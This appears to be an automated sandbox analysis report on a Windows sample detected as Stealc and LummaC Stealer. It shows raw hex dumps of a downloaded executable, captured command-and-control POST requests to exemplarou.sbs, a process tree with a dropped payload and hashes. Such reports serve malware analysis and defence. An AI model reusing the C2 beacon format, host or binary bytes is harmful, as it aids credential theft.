52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPELg)bRo0@ @(@0,.text `.rdatax0@@.data@.rsrcJ@@.relocN@B
Oct 7, 2024 18:00:32.293581963 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeHQDeHP3B
Oct 7, 2024 18:00:32.293598890 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
Oct 7, 2024 18:00:32.293952942 CEST	672	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 7, 2024 18:00:32.293987036 CEST	1236	IN	Data Raw: 00 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 81 ec 2c 02 00 00 a1 40 d0 42 00 33 c4 89 84 24 28 02 00 00 53 56 8b 75 08 8b da 89 4c 24 28 33 c9 57 89 5c 24 24 8b c1 88 4c 0c 30 99 f7 7d 0c 8a 04 32 88 84 0c 30 01 00 00 41 81 f9 00 01 00 00 7c e3 33 ff Data Ascii: ^U,@B3$(SVuL$(3W\$$L0}20A\|33T4040yOGD<0D40FT<0\|d$3!D$3D$D$\|$\|$ ;tD$L$$QPL$ ,\|$ D$u\$!t$(\|$93\|$(T
Oct 7, 2024 18:00:32.294012070 CEST	1236	IN	Data Raw: 66 f7 e2 66 81 ef 4e 02 66 81 f1 30 03 c1 c8 6c f7 e1 f7 ef 0f b7 fa c1 c6 25 c1 c8 33 66 c1 ee be f7 e7 8b c0 33 de 66 0b f1 72 07 f7 e8 66 f7 e6 eb 0f 66 81 e1 78 02 66 c1 c6 e7 03 c0 66 c1 e8 12 81 ea 66 02 00 00 c1 d0 2a c1 e8 52 66 4a 81 eb Data Ascii: ffNf0l%3f3frffxfff*RfJVf+fPfwr?ff7ff@fbffIftf@fHfOfJfGfff<s_GOf@f%fIf
Oct 7, 2024 18:00:32.294035912 CEST	1236	IN	Data Raw: bb c4 02 c1 d0 11 66 f7 e0 33 d0 66 c1 d9 de 72 18 81 ce 1f 01 00 00 48 c1 c2 05 81 f3 73 02 00 00 c1 d2 8a 66 0b c3 eb 12 66 c1 cf 22 c1 e1 dd 8b cf 66 c1 e1 9c 66 81 cf 13 03 8b d7 66 f7 ea 66 c1 eb df 66 c1 c9 9b c1 c3 2a 66 f7 ea 40 66 47 f7 Data Ascii: f3frHsff"fffff*f@fGf!s r/!ffOffr:r2f1f@ABf fFs/sM\JffqfYf#sffHff
Oct 7, 2024 18:00:32.294060946 CEST	1236	IN	Data Raw: f2 0f 10 45 1c 8d 44 24 10 50 51 51 f2 0f 11 04 24 e8 dd aa 00 00 83 c4 0c dd d8 ff 74 24 10 e8 96 8b 00 00 69 c0 97 75 00 00 59 b9 a0 86 01 00 99 f7 f9 03 f8 6a 00 8d 47 32 50 8d 4c 24 2c e8 9b 0d 00 00 f2 0f 10 45 1c 8d 44 24 10 50 f2 0f 11 44 Data Ascii: ED$PQQ$t$iuYjG2PL$,ED$PD$VT$\|$(Eft$8fQRD$$fS\$(O\|$DD$HRG\|$4jLPSGPVW t$ \|$8T$$GT$$t$PRut$uuVkD$8v6L$$@D$
Oct 7, 2024 18:00:32.294650078 CEST	328	IN	Data Raw: 24 8c 00 00 00 83 c4 30 8b c3 5f 5e 5b 33 cc e8 57 3d 00 00 8b e5 5d c2 18 00 55 8b ec 83 e4 f8 83 ec 4c a1 40 d0 42 00 33 c4 89 44 24 48 53 8b 5d 14 8b c1 0f b7 4d 18 56 57 f7 43 14 00 40 00 00 8b 7d 08 89 44 24 18 89 7c 24 20 89 4c 24 1c 75 1c Data Ascii: $0_^[3W=]UL@B3D$HS]MVWC@}D$\|$ L$uU0RQSuuWV$<C0HL$PD$PJYL$33\|$$L$<Q33D$<}\|$8fD$(tPPD$<PL$(L$<XL$49{$\|9{ vs
Oct 7, 2024 18:00:32.294708014 CEST	1236	IN	Data Raw: 10 8d 44 24 24 0f 47 44 24 24 51 50 ff 74 24 18 8d 44 24 1c 52 50 57 e8 2e 02 00 00 56 ff 74 24 38 8b 74 24 40 8b 08 8b 40 04 83 63 20 00 83 63 24 00 50 51 56 57 89 4d 0c 89 45 10 e8 dd 01 00 00 83 c4 30 83 7c 24 38 07 76 15 ff 74 24 38 8d 44 24 Data Ascii: D$$GD$$QPt$D$RPW.Vt$8t$@@c c$PQVWME0\|$8vt$8D$(t$(PNL$T_^[3;]V!u^UQSVuW7@L08tP3H9\1u!L1<t;t@9\0__^[]V
Oct 7, 2024 18:00:32.298489094 CEST	1236	IN	Data Raw: 18 8b 10 8b 40 04 83 7c 24 38 07 8b 4c 24 1c 89 44 24 0c 89 45 14 8d 44 24 24 0f 47 44 24 24 2b cf 51 89 55 10 8d 04 78 8b 7d 08 50 ff 74 24 14 8d 44 24 20 52 50 57 e8 3a fd ff ff 56 ff 75 1c 8b 74 24 40 8b 08 8b 40 04 83 63 20 00 83 63 24 00 50 Data Ascii: @\|$8L$D$ED$$GD$$+QUx}Pt$D$ RPW:Vut$@@c c$PQVWME0L$<L$$L$T_^[36]D$Vt$W%N t+At#A\|$QSLtIf64[uotG$ X

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49725	188.114.97.3	443	6292	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:00:34 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: exemplarou.sbs
2024-10-07 16:00:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 16:00:34 UTC	547	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJ%2F5d1O9EPSe0FnYg04mQqgxMp2o9MJOBiMh119jWkkC2JgnSwy2lPNuvK0CWiqVepd5AdUwCJQZzplUXO%2F8dl75SNbcbl9OiNLfGqgoCXvRZ6ul4cDP8gIIY98FlKoACg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef1ad61de1de94-EWR
2024-10-07 16:00:34 UTC	822	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-07 16:00:34 UTC	1369	IN	Data Raw: 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 Data Ascii: rrors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-a
2024-10-07 16:00:34 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 33 69 2e 78 56 47 71 4c 67 79 49 47 62 44 73 35 77 43 54 33 38 34 63 58 31 75 33 74 41 2e 50 62 68 59 2e 51 61 57 4c 72 42 51 49 2d 31 37 32 38 33 31 36 38 33 34 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d Data Ascii: <input type="hidden" name="atok" value="3i.xVGqLgyIGbDs5wCT384cX1u3tA.PbhY.QaWLrBQI-1728316834-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style=
2024-10-07 16:00:34 UTC	845	IN	Data Raw: 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 Data Ascii: dden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></s
2024-10-07 16:00:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49726	188.114.97.3	443	6292	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:00:35 UTC	351	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=3i.xVGqLgyIGbDs5wCT384cX1u3tA.PbhY.QaWLrBQI-1728316834-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: exemplarou.sbs
2024-10-07 16:00:35 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-10-07 16:00:35 UTC	772	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1u9d6hhuv1agreg1ie76515ek; expires=Fri, 31 Jan 2025 09:47:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bypknYuNgWge79IRRLto%2FDuPH3UTDWojO7PV2fL9pSvif6U25iroTFeWlfYu6%2BvZ%2FiK1%2FSrWFhgVHmCNZmUPbDLPSPI2gx1Ie6wIzcOBRV9CF4LIh23h6gP8uEWykTPq1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef1adbcc074402-EWR
2024-10-07 16:00:35 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 16:00:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:00:16
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\NdSXVNeoET.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NdSXVNeoET.exe"
Imagebase:	0x8a0000
File size:	505'344 bytes
MD5 hash:	2FDEA74A17BD7C2816D13404852EC409
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:00:17
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xe20000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:00:17
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 272
Imagebase:	0x250000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:00:31
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIDHDGDHJEG.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:00:31
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:00:31
Start date:	07/10/2024
Path:	C:\Users\userIDHDGDHJEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userIDHDGDHJEG.exe"
Imagebase:	0x1b0000
File size:	551'424 bytes
MD5 hash:	64FE8DFA186F801847E6C710F30B2884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:00:31
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xb30000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000A.00000002.2510268236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:00:32
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 272
Imagebase:	0x250000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:00:34
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1636
Imagebase:	0x250000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:00:36
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1576
Imagebase:	0x250000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	3

Executed Functions

Function 008A2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0091A6D8,?,00000040,?), ref: 008A2738

Strings

S, xrefs: 008A206A
', xrefs: 008A2718
a, xrefs: 008A2296

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 91cad5d258643a76d623788e75a28373d00297763fd8cf9e17eaec6475c37d20
Instruction ID: dd1a8132088bf7345866ea37ced9e316c8a4ea0416dcaa03618f5cab9eff53f8
Opcode Fuzzy Hash: 91cad5d258643a76d623788e75a28373d00297763fd8cf9e17eaec6475c37d20
Instruction Fuzzy Hash: A5F1EE27935E2F06F728603D4D522E5A54AF7AB330F814332AE62DBBF4E36909419284

Function 008B8E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 008B8FDD

Part of subcall function 008B3A83: HeapAlloc.KERNEL32(00000000,008BA1AA,?,?,008BA1AA,00000220,?,?,?), ref: 008B3AB5

__freea.LIBCMT ref: 008B8FF2
__freea.LIBCMT ref: 008B9002

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 67912853ad35b54d6e4cad30f8e9055885fa90a428ce7cd06cda0ae157a104d0
Instruction ID: 11fe5ba23d187e7dcae2140277ac6757459ce778a0ee7a619a45a886b643bb30
Opcode Fuzzy Hash: 67912853ad35b54d6e4cad30f8e9055885fa90a428ce7cd06cda0ae157a104d0
Instruction Fuzzy Hash: 39518B7260121AEFEB21AF688C81EFB7AAEFB44754B190129FD08D6351EE35CC50C761

Function 008BA3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008B9ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 008B9F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,008BA1ED,?,00000000,?,?,?), ref: 008BA407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,008BA1ED,?,00000000,?,?,?), ref: 008BA449

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 715d126794b86ba96ac6d593549bcb24d00306ef36a0867e43bbc2916bff744c
Instruction ID: e292cbf334f65994ef5026960364e5f822af5c7c9dd6e79ac73151cdf92b07c0
Opcode Fuzzy Hash: 715d126794b86ba96ac6d593549bcb24d00306ef36a0867e43bbc2916bff744c
Instruction Fuzzy Hash: BE510270A003459FDB38DF75C884AEABBF5FF85300F18846AD082CB751E6B49A46CB52

Function 008B6368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,008B8F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 008B639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,008B8F1C,?,?,00000000,?,00000000), ref: 008B63BA

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: c5c75783d0ed79b58aa54af47dad108be3621ed3d21f06bbd3d81b54c47caa05
Instruction ID: f0b92f976934d346d2f649dab56a182dbadbee18b21ac336036869a69c97022f
Opcode Fuzzy Hash: c5c75783d0ed79b58aa54af47dad108be3621ed3d21f06bbd3d81b54c47caa05
Instruction Fuzzy Hash: 77F0763240025ABBCF126F90DC09EDE3F66FF4C3A4F058010FA18A5220DB36D976AB91

Function 008B9FAA Relevance: 1.6, APIs: 1, Instructions: 147
